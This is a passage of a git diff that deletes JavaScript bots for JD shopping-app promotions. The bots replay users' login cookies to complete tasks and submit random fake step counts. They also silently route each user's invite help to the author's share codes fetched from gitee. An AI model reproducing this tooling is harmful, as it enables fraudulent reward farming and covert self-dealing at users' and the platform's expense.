i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_jdh.js b/activity/jd_jdh.js deleted file mode 100644 index 72a2fbf..0000000 --- a/activity/jd_jdh.js +++ /dev/null @@ -1,433 +0,0 @@ -/* -京东健康 -京东健康APP集汪汪卡瓜分百万红包 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东健康 -10 8 * * * jd_jdh.js, tag=京东健康, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_jdh.png, enabled=true - -================Loon============== -[Script] -cron "10 8 * * *" script-path=jd_jdh.js,tag=京东健康 - -===============Surge================= -京东健康 = type=cron,cronexp="10 8 * * *",wake-system=1,timeout=3600,script-path=jd_jdh.js - -============小火箭========= -京东健康 = type=cron,script-path=jd_jdh.js, cronexpr="10 8 * * *", timeout=3600, enable=true - */ -const $ = new Env('京东健康'); -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/api'; -$.newShareCodes = ['21d9b4b51a69839577027beb0aad5105', '8edbdfa148e78f028496cff17e7df35b']; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdJdh() - } - } - // 帮助作者,把作者助力码放到用户助力码之后 - await getAuthorShareCode('https://gitee.com/shylocks/updateTeam/raw/main/jd_jdh.json'); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - await helpFriends() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function helpFriends(){ - for(let i = 0; i < $.newShareCodes.length; ++i){ - const res = await helpFriend($.newShareCodes[i]) - if (res['data'] && res['data']['inviteCode'] === 8){ - // 助力次数已满,跳出 - break - } - } -} -function rand(min, max) { - min = Math.ceil(min); - max = Math.floor(max); - return Math.floor(Math.random() * (max - min + 1)) + min; -} -async function jdJdh() { - await queryShareInfo() - await queryInviteHome() - $.nowCount = $.count - let t = `${new Date().getUTCFullYear()}${new Date().getUTCMonth()+1}${new Date().getUTCDate()}` - await queryTask(15,"meetingplace") // 逛义诊会场 - await queryTask(18,"2951198") // 看名医直播 - await queryTask(17,"246147") // - await queryTask(24, t) // 辟谣 - await doTask(22,42,`${new Date().getUTCFullYear()}-${new Date().getUTCMonth()+1}-${new Date().getUTCDate()}`) // 去打卡 - await queryTask(20,"362451650500001") // 测一测 - await doTask(23,40,`${rand(10000, 20000)}`) // 走路,这个可以直接提示领奖结果 - // 以下两个需要开启家庭医生才能完成 - await doTask(null,50,`${rand(10000, 20000)}`) // 家庭医生走路 - await queryTask(17,"235741") // 家庭医生资讯,这个可以不用开启直接完成 - await queryInviteHome() - await showMsg() -} -function getAuthorShareCode(url) { - return new Promise(resolve => { - $.get({url: `${url}?${new Date()}`, - headers:{ - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - }}, async (err, resp, data) => { - try { - if (err) { - } else { - $.newShareCodes = $.newShareCodes.concat(JSON.parse(data)) - console.log($.newShareCodes) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function queryShareInfo() { - return new Promise(resolve => { - $.get(taskUrl("jdh_invite_startInvite", {"channel":"jdhapp","m_patch_appid":"jdh"}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(resp) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - console.log(`您的分享助力码为:${data.data.shareParam}`) - $.newShareCodes.push(data.data.shareParam) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function queryInviteHome() { - // 首次点击30张汪汪卡 - return new Promise(resolve => { - $.get(taskUrl("jdh_invite_queryInviteHome", {"channel":"jdhapp","m_patch_appid":"jdh"}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.count = data.data.ownerInfo.activityChanceCount - if(data.data.ownerInfo.firstVisitChance){ - console.log(`首次访问成功,获得 ${data.data.ownerInfo.firstVisitChance}张汪汪卡`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function helpFriend(code) { - let body = {"channel":"jdhapp","m_patch_appid":"jdh","shareParam":code} - return new Promise(resolve => { - $.get(taskUrl("jdh_invite_inviteFriends", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.code === 0){ - console.log(`助力好友 ${code} 结果:${data.data.inviteDesc}`) - } - else console.log(`助力好友 ${code} 失败,错误信息:${data.message}`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getTaskList() { - let body = {"pageSize":15,"startFloor":1,"pageId":"c7c1fa16b8a94fbb97f6ec220488d01b"} - return new Promise(resolve => { - $.get(taskUrl("jdh_queryFloor", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(resp) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - // console.log(data) - $.inviteInfo = data.data.floorDataList.filter(vo=>vo.name==="HD_Floor_Health_Month_CollectCard")[0] - console.log($.inviteInfo) - console.log(`当前助力进度:${$.inviteInfo.items[0].completeNum}/${$.inviteInfo.items[0].limitNum}`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function queryTask(taskType,infoId) { - let body = {"channel":"jdhapp","m_patch_appid":"jdh","taskType":taskType,"infoId":infoId} - return new Promise(resolve => { - $.get(taskUrl("jdh_task_queryTask", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.data&&data.data.length>0) - await doTask(taskType,data.data[0].id,infoId) - else - console.log(`任务已做过`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function doTask(taskType,taskId,infoId) { - let body = {"channel":"jdhapp","m_patch_appid":"jdh","taskId":taskId, "infoId":infoId} - return new Promise(resolve => { - $.get(taskUrl("jdh_task_doTask", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - console.log(data.message) - // await rewardTask(taskType,taskId,infoId) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function doTask2(taskType,taskId,infoId) { - let body = {"channel":"jdhapp","m_patch_appid":"jdh","taskId":taskId, "infoId":infoId} - return new Promise(resolve => { - $.get(taskUrl("jdh_task_doTask", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - console.log(data.message) - // await rewardTask(taskType,taskId,infoId) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function rewardTask(taskType,taskId,infoId) { - // 会报 no access 无解 - let body = {"channel":"jdhapp","m_patch_appid":"jdh", - "taskId":taskId,"taskType":taskType,"infoId":infoId} - return new Promise(resolve => { - $.get(taskUrl("jdh_task_getReward", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - console.log(data) - if (data.code ===0) { - console.log(data.data.extResult.mainTitle) - }else{ - console.log(data.data.msg) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -async function showMsg() { - message = `获得${$.count - $.nowCount}张汪汪卡,共${$.count}张汪汪卡\n任务已做完,请手动领取奖励` - if ($.isNode() && !jdNotify) { - await notify.sendNotify(`【京东账号${$.index}】${$.nickName} `, `【${$.name}】${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } -} - -function taskPostUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}`, - body: body, - headers: { - "Cookie": cookie, - 'Content-Type': 'application/x-www-form-urlencoded', - 'accept': 'application/json, text/plain, */*', - 'origin': 'https://hlc.m.jd.com', - 'referer': 'https://hlc.m.jd.com/Question_Answer_Rumour/answerComplete', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdhapp;iPhone;9.2.7;14.2;network/wifi;lang/zh_CN;model/iPhone10,2;appBuild/1206;pv/2.1;apprpd/;usc/;jdv/0|;umd/;psq/4;ucp/;app_device/IOS;utr/;ref/;adk/;ads/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdhapp;iPhone;9.2.7;14.2;network/wifi;lang/zh_CN;model/iPhone10,2;appBuild/1206;pv/2.1;apprpd/;usc/;jdv/0|;umd/;psq/4;ucp/;app_device/IOS;utr/;ref/;adk/;ads/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&appid=JDHAPP&clientVersion=2.1.7&body=${escape(JSON.stringify(body))}`, - headers: { - "Cookie": cookie, - 'Content-Type': 'application/x-www-form-urlencoded', - 'accept': 'application/json, text/plain, */*', - 'origin': 'https://hlc.m.jd.com', - 'referer': 'https://hlc.m.jd.com/Question_Answer_Rumour/answerComplete', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdhapp;iPhone;9.2.7;14.2;network/wifi;lang/zh_CN;model/iPhone10,2;appBuild/1206;pv/2.1;apprpd/;usc/;jdv/0|;umd/;psq/4;ucp/;app_device/IOS;utr/;ref/;adk/;ads/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdhapp;iPhone;9.2.7;14.2;network/wifi;lang/zh_CN;model/iPhone10,2;appBuild/1206;pv/2.1;apprpd/;usc/;jdv/0|;umd/;psq/4;ucp/;app_device/IOS;utr/;ref/;adk/;ads/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_joy_tx.js b/activity/jd_joy_tx.js deleted file mode 100644 index 230a582..0000000 --- a/activity/jd_joy_tx.js +++ /dev/null @@ -1,258 +0,0 @@ -/* -汪汪乐园提现 -活动地址: 京东极速版-汪汪乐园 -活动时间: -更新时间:2021-11-30 -脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js -=================================Quantumultx========================= -[task_local] -#汪汪乐园提现 -15 10 * * * https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_joy_tx.js, tag=汪汪乐园提现, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -=================================Loon=================================== -[Script] -cron "15 10 * * *" script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_joy_tx.js,tag=汪汪乐园提现 -===================================Surge================================ -汪汪乐园提现 = type=cron,cronexp="15 10 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_joy_tx.js -====================================小火箭============================= -汪汪乐园提现 = type=cron,script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_joy_tx.js, cronexpr="15 10 * * *", timeout=3600, enable=true - */ -const $ = new Env('汪汪乐园提现'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = []; -let linkId = 'LsQNxL7iWDlXUs6cFl-AAg'; -let taskStatus = true; -let allMessage = ''; -$.cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - taskStatus = true; - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = $.UserName; - $.hotFlag = false; //是否火爆 - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - //获取列表提现 - await signPrizeDetailList(); - } - } - if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}`,{ url: 'https://t.me/joinchat/DrHGFt-CvcE2ZmU1' }) - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: $.cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - - -/** - * 获取奖励列表 - * @returns {Promise} - */ -function signPrizeDetailList() { - return new Promise(async resolve => { - let body = {"linkId":linkId,"pageNum":1,"pageSize":10}; - - const options = { - url: `https://api.m.jd.com/?functionId=gameMyCashPrize&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0`, - headers: { - 'Origin': 